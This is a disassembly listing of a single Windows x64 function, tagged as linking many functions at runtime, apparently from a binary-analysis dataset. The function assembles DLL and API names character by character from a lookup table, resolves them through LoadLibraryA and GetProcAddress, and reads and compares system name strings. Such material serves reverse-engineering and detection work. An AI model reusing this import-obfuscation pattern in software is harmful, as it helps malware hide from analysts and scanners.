Function at 0x1400011b0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [0x1400796f8]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
mov r14d, select
mov dword [rbp - 0x18], reloc.WLDAP32.dll_Ordinal_46
mov r15d, Ordinal_27
mov qword [rsp + 0x30], r14
mov dword [rbp + 0x54], r14d
mov dword [rbp + 0x60], r15d
mov dword [rbp + 0x68], r14d
mov dword [rbp + 0x74], r15d
mov dword [rbp + 0x94], r15d
mov dword [rbp - 0x40], r14d
mov dword [rbp - 0x30], r15d
mov dword [rbp - 0x28], r14d
mov dword [rbp + 0xf4], r14d
mov dword [rbp + 0x10c], r15d
mov dword [rbp + 0x120], r14d
mov dword [rbp - 0x14], Ordinal_46
mov dword [rbp - 0x10], gethostname
mov dword [rbp - 0xc], Ordinal_50
mov dword [rbp - 8], Ordinal_46
mov dword [rbp - 4], Ordinal_50
mov dword [rbp], 2
mov dword [rbp + 4], 1
mov dword [rbp + 8], 0x3f
mov dword [rbp + 0xc], reloc.WS2_32.dll_listen
mov dword [rbp + 0x10], reloc.WS2_32.dll_setsockopt
mov dword [rbp + 0x14], reloc.WS2_32.dll_setsockopt
mov dword [rbp - 0x70], Ordinal_60
mov dword [rbp - 0x6c], Ordinal_60
mov dword [rbp - 0x68], Ordinal_46
mov dword [rbp - 0x64], gethostname
mov dword [rbp - 0x60], 2
mov dword [rbp - 0x5c], 1
mov dword [rbp - 0x58], 0x3f
mov dword [rbp - 0x54], reloc.WS2_32.dll_listen
mov dword [rbp - 0x50], reloc.WS2_32.dll_setsockopt
mov dword [rbp - 0x4c], reloc.WS2_32.dll_setsockopt
mov dword [rsp + 0x68], gethostname
mov dword [rsp + 0x6c], Ordinal_33
mov dword [rsp + 0x70], 0xa
mov dword [rsp + 0x74], Ordinal_30
mov dword [rsp + 0x78], reloc.WS2_32.dll_select
mov dword [rsp + 0x7c], 0x3f
mov dword [rbp - 0x80], reloc.WS2_32.dll_listen
mov dword [rbp - 0x7c], reloc.WS2_32.dll_setsockopt
mov dword [rbp - 0x78], reloc.WS2_32.dll_setsockopt
mov dword [rbp + 0x50], Ordinal_46
mov dword [rbp + 0x58], Ordinal_33
mov dword [rbp + 0x5c], reloc.WLDAP32.dll_Ordinal_41
mov dword [rbp + 0x64], reloc.WLDAP32.dll_Ordinal_27
mov dword [rbp + 0x6c], reloc.WS2_32.dll_recv
mov dword [rbp + 0x70], reloc.WLDAP32.dll_Ordinal_27
mov dword [rbp + 0x78], reloc.WLDAP32.dll_Ordinal_30
mov dword [rbp + 0x7c], reloc.WS2_32.dll_socket
mov dword [rbp + 0x80], reloc.WS2_32.dll_listen
mov dword [rbp + 0x84], Ordinal_60
mov dword [rbp + 0x88], reloc.WS2_32.dll_select
mov dword [rbp + 0x8c], reloc.WS2_32.dll_socket
mov dword [rbp + 0x90], reloc.WS2_32.dll_listen
mov dword [rbp + 0x98], reloc.WLDAP32.dll_Ordinal_32
mov dword [rbp - 0x48], reloc.WLDAP32.dll_Ordinal_50
mov dword [rbp - 0x44], Ordinal_30
mov dword [rbp - 0x3c], reloc.WS2_32.dll_socket
mov dword [rbp - 0x38], gethostname
mov dword [rbp - 0x34], reloc.WLDAP32.dll_Ordinal_27
mov dword [rbp - 0x2c], select
mov dword [rbp - 0x24], Ordinal_33
mov dword [rbp - 0x20], Ordinal_33
mov dword [rbp + 0xf0], Ordinal_46
mov dword [rbp + 0xf8], Ordinal_33
mov dword [rbp + 0xfc], Ordinal_60
mov dword [rbp + 0x100], reloc.WS2_32.dll_select
mov dword [rbp + 0x104], reloc.WS2_32.dll_socket
mov dword [rbp + 0x108], reloc.WS2_32.dll_listen
mov dword [rbp + 0x110], reloc.WLDAP32.dll_Ordinal_32
mov dword [rbp + 0x114], Ordinal_60
mov dword [rbp + reloc.WS2_32.dll_recvfrom8], 0x11
mov dword [rbp + 0x11c], reloc.WLDAP32.dll_Ordinal_27
mov dword [rbp + 0x124], 0xa
mov dword [rbp + 0x128], reloc.WS2_32.dll_listen
mov dword [rbp + 0x12c], Ordinal_60
mov dword [rbp + 0x130], reloc.WLDAP32.dll_Ordinal_27
movaps xmm0, xmmword [str.1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_.__:__]
lea edx, [r14 - 1]
movaps xmm1, xmmword [0x140071c10]
lea ecx, [rdx + 0x33]
mov eax, dword [0x140071c58]
movaps xmmword [rbp + 0x150], xmm0
movaps xmm0, xmmword [0x140071c20]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [0x140071c40]
movaps xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140071c50]
movaps xmmword [rbp + 0x160], xmm1
movaps xmm1, xmmword [0x140071c30]
movsd qword [rbp + 0x1a0], xmm0
mov dword [rbp + 0x134], r15d
mov dword [rbp + 0x138], select
mov dword [rbp + 0x13c], r14d
mov dword [rbp + 0x140], Ordinal_33
mov dword [rbp + 0x144], Ordinal_33
mov dword [rbp + 0x148], Ordinal_46
mov dword [rbp + 0x14c], reloc.WS2_32.dll_listen
mov dword [rbp + 0x18], Ordinal_46
mov dword [rbp + 0x1c], r14d
mov dword [rbp + 0x20], Ordinal_33
mov dword [rbp + 0x24], Ordinal_60
mov dword [rbp + 0x28], reloc.WS2_32.dll_select
mov dword [rbp + 0x2c], reloc.WS2_32.dll_socket
mov dword [rbp + 0x30], reloc.WS2_32.dll_listen
mov dword [rbp + 0x34], r15d
mov dword [rbp + 0x38], reloc.WLDAP32.dll_Ordinal_32
mov dword [rbp + 0x3c], Ordinal_60
mov dword [rbp + 0x40], r14d
mov dword [rbp + 0x44], reloc.WLDAP32.dll_Ordinal_33
mov dword [rbp + 0x48], Ordinal_33
mov dword [rbp + 0x4c], Ordinal_41
mov dword [rbp + 0xa0], Ordinal_46
mov dword [rbp + 0xa4], r14d
mov dword [rbp + 0xa8], Ordinal_33
mov dword [rbp + 0xac], gethostname
mov dword [rbp + 0xb0], r15d
mov dword [rbp + 0xb4], reloc.WS2_32.dll_listen
mov dword [rbp + 0xb8], reloc.WLDAP32.dll_Ordinal_30
mov dword [rbp + 0xbc], reloc.WS2_32.dll_setsockopt
mov dword [rbp + 0xc0], r14d
mov dword [rbp + 0xc4], reloc.WLDAP32.dll_Ordinal_41
mov dword [rbp + 0xc8], reloc.WS2_32.dll_select
mov dword [rbp + 0xcc], reloc.WS2_32.dll_setsockopt
mov dword [rbp + 0xd0], r14d
mov dword [rbp + 0xd4], gethostname
mov dword [rbp + 0xd8], 0xa
mov dword [rbp + 0xdc], reloc.WLDAP32.dll_Ordinal_22
mov dword [rbp + 0xe0], r14d
mov dword [rbp + 0xe4], Ordinal_46
mov dword [rbp + 0xe8], reloc.WLDAP32.dll_Ordinal_33
mov dword [rbp + 0xec], Ordinal_41
movaps xmmword [rbp + 0x180], xmm1
mov dword [rbp + 0x1a8], eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
mov qword [rsp + 0x38], rax
lea rbx, [rbp - 0x18]
lea edi, [r14 - 2]
nop dword [rax]
mov eax, dword [rbx]
lea r8, str._s_c
mov r9, r15
mov edx, reloc.WS2_32.dll_listen
movsx ecx, byte [rbp + rax + 0x150]
mov dword [rsp + 0x20], ecx
mov rcx, r15
call fcn.140001060
lea rbx, [rbx + 4]
sub rdi, 1
jne 0x140001620
movaps xmm0, xmmword [str.1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_.__:__]
mov edi, listen
movaps xmm1, xmmword [0x140071c10]
mov edx, edi
mov eax, dword [0x140071c58]
movaps xmmword [rbp + 0x150], xmm0
movaps xmm0, xmmword [0x140071c20]
lea ecx, [rdi + 0x35]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [0x140071c40]
movaps xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140071c50]
movaps xmmword [rbp + 0x160], xmm1
movaps xmm1, xmmword [0x140071c30]
movsd qword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x180], xmm1
mov dword [rbp + 0x1a8], eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r14, rax
mov qword [rsp + 0x40], rax
lea rbx, [rbp - 0x70]
lea esi, [rdi - 1]
mov eax, dword [rbx]
lea r8, str._s_c
mov r9, r14
mov rdx, rdi
movsx ecx, byte [rbp + rax + 0x150]
mov dword [rsp + 0x20], ecx
mov rcx, r14
call fcn.140001060
lea rbx, [rbx + 4]
sub rsi, 1
jne 0x1400016d0
movaps xmm0, xmmword [str.1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_.__:__]
lea edx, [rsi + 0xa]
movaps xmm1, xmmword [0x140071c10]
lea ecx, [rsi + 0x40]
mov eax, dword [0x140071c58]
movaps xmmword [rbp + 0x150], xmm0
movaps xmm0, xmmword [0x140071c20]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [0x140071c40]
movaps xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140071c50]
movaps xmmword [rbp + 0x160], xmm1
movaps xmm1, xmmword [0x140071c30]
movsd qword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x180], xmm1
mov dword [rbp + 0x1a8], eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x68]
mov r15, rax
mov esi, 9
nop dword [rax]
mov eax, dword [rbx]
lea r8, str._s_c
mov r9, r15
mov edx, 0xa
movsx ecx, byte [rbp + rax + 0x150]
mov dword [rsp + 0x20], ecx
mov rcx, r15
call fcn.140001060
lea rbx, [rbx + 4]
sub rsi, 1
jne 0x140001780
movaps xmm0, xmmword [str.1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_.__:__]
mov esi, reloc.WS2_32.dll_sendto
movaps xmm1, xmmword [0x140071c10]
mov edx, esi
mov eax, dword [0x140071c58]
movaps xmmword [rbp + 0x150], xmm0
movaps xmm0, xmmword [0x140071c20]
lea ecx, [rsi + 0x2c]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [0x140071c40]
movaps xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140071c50]
movaps xmmword [rbp + 0x160], xmm1
movaps xmm1, xmmword [0x140071c30]
movsd qword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x180], xmm1
mov dword [rbp + 0x1a8], eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r14, rax
mov qword [rsp + 0x50], rax
lea rbx, [rbp + 0x50]
lea r12d, [rsi - 1]
lea r15d, [rsi + 4]
nop word [rax + rax]
mov eax, dword [rbx]
lea r8, str._s_c
mov r9, r14
mov rdx, rsi
movsx ecx, byte [rbp + rax + 0x150]
mov dword [rsp + 0x20], ecx
mov rcx, r14
call fcn.140001060
lea rbx, [rbx + 4]
sub r12, 1
jne 0x140001840
movaps xmm0, xmmword [str.1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_.__:__]
lea edx, [r12 + 0xc]
movaps xmm1, xmmword [0x140071c10]
lea ecx, [rdx + 0x34]
mov eax, dword [0x140071c58]
movaps xmmword [rbp + 0x150], xmm0
movaps xmm0, xmmword [0x140071c20]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [0x140071c40]
movaps xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140071c50]
movaps xmmword [rbp + 0x160], xmm1
movaps xmm1, xmmword [0x140071c30]
movsd qword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x180], xmm1
mov dword [rbp + 0x1a8], eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r12, rax
lea rbx, [rbp - 0x48]
mov eax, dword [rbx]
lea r8, str._s_c
mov r9, r12
mov edx, recv
movsx ecx, byte [rbp + rax + 0x150]
mov dword [rsp + 0x20], ecx
mov rcx, r12
call fcn.140001060
lea rbx, [rbx + 4]
sub rdi, 1
jne 0x1400018e4
movaps xmm0, xmmword [str.1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_.__:__]
lea edx, [rdi + 0x19]
movaps xmm1, xmmword [0x140071c10]
lea ecx, [rdi + 0x40]
mov eax, dword [0x140071c58]
movaps xmmword [rbp + 0x150], xmm0
movaps xmm0, xmmword [0x140071c20]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [0x140071c40]
movaps xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140071c50]
movaps xmmword [rbp + 0x160], xmm1
movaps xmm1, xmmword [0x140071c30]
movsd qword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x180], xmm1
mov dword [rbp + 0x1a8], eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r14, rax
mov qword [rsp + 0x58], rax
lea rbx, [rbp + 0xf0]
mov eax, dword [rbx]
lea r8, str._s_c
mov r9, r14
mov edx, Ordinal_27
movsx ecx, byte [rbp + rax + 0x150]
mov dword [rsp + 0x20], ecx
mov rcx, r14
call fcn.140001060
lea rbx, [rbx + 4]
sub r15, 1
jne 0x140001990
movaps xmm0, xmmword [str.1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_.__:__]
lea edx, [r15 + 0xf]
movaps xmm1, xmmword [0x140071c10]
lea ecx, [rdx + 0x31]
mov eax, dword [0x140071c58]
movaps xmmword [rbp + 0x150], xmm0
movaps xmm0, xmmword [0x140071c20]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [0x140071c40]
movaps xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140071c50]
movaps xmmword [rbp + 0x160], xmm1
movaps xmm1, xmmword [0x140071c30]
movsd qword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x180], xmm1
mov dword [rbp + 0x1a8], eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r14, qword [rsp + 0x30]
lea rbx, [rbp + 0x18]
mov r15, rax
nop word [rax + rax]
mov eax, dword [rbx]
lea r8, str._s_c
mov r9, r15
mov edx, reloc.WS2_32.dll_ntohs
movsx ecx, byte [rbp + rax + 0x150]
mov dword [rsp + 0x20], ecx
mov rcx, r15
call fcn.140001060
lea rbx, [rbx + 4]
sub r14, 1
jne 0x140001a40
movaps xmm0, xmmword [str.1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_.__:__]
lea edx, [r14 + 0x15]
movaps xmm1, xmmword [0x140071c10]
lea ecx, [rdx + 0x2b]
mov eax, dword [0x140071c58]
movaps xmmword [rbp + 0x150], xmm0
movaps xmm0, xmmword [0x140071c20]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [0x140071c40]
movaps xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140071c50]
movaps xmmword [rbp + 0x160], xmm1
movaps xmm1, xmmword [0x140071c30]
movsd qword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x180], xmm1
mov dword [rbp + 0x1a8], eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r13, rax
lea rbx, [rbp + 0xa0]
nop dword [rax + rax]
mov eax, dword [rbx]
lea r8, str._s_c
mov r9, r13
mov edx, reloc.WS2_32.dll_setsockopt
movsx ecx, byte [rbp + rax + 0x150]
mov dword [rsp + 0x20], ecx
mov rcx, r13
call fcn.140001060
lea rbx, [rbx + 4]
sub rsi, 1
jne 0x140001af0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rsp + 0x40]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rsp + 0x48]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r12
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x58]
mov rcx, rdi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r15
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r13
mov rcx, r14
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
call rsi
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0
mov rcx, rax
mov rdi, rax
call rbx
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x400
call r12
mov r8d, 0xff
lea rdx, [rbp + 0x1b0]
mov rcx, rdi
mov rbx, rax
call r15
mov r9d, 0xff
lea r8, [rbp + 0x2b0]
xor edx, edx
mov rcx, rbx
call r14
lea rax, [rbp + 0x1b0]
lea r8, [0x14007c020]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001c13
inc rax
test ecx, ecx
jne 0x140001c00
test edx, edx
jne 0x140001c1b
xor eax, eax
jmp 0x140001c5a
mov r9d, 0x100
lea r8, [rbp + 0x1b0]
mov edx, r9d
lea rcx, [0x14007c020]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
mov r9d, 0x100
lea r8, [rbp + 0x2b0]
mov edx, r9d
lea rcx, [0x140079f20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
mov eax, 1
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.1400602c0
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret